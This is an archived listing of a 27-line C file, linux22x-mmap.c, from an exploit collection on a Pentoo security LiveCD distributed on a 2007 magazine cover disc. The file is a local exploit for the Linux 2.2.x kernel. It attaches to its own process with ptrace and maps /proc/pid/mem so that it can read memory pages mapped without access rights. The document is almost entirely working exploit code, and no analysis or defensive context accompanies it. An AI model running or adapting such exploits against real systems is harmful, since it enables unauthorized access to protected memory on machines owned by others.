home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / linux22x-mmap.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  649b  |  27 lines

  1.    #define PAGES 10
  2.  
  3.    #include <asm/page.h>
  4.    #include <sys/mman.h>
  5.    #include <unistd.h>
  6.    #include <stdio.h>
  7.    #include <fcntl.h>
  8.    #include <sys/ptrace.h>
  9.  
  10.    int main() {
  11.      int ad1,ad2,zer,mem,pid,i;
  12.      zer=open("/dev/zero",O_RDONLY);
  13.      ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
  14.      pid=getpid();
  15.      if (!fork()) {
  16.        char p[64];
  17.        ptrace(PTRACE_ATTACH,pid,0,0);
  18.        sleep(1);
  19.        sprintf(p,"/proc/%d/mem",pid);
  20.        mem=open(p,O_RDONLY);
  21.        ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
  22.        write(1,(char*)ad2,PAGES*PAGE_SIZE);
  23.      }
  24.      sleep(100);
  25.      return 0;
  26.    }
  27.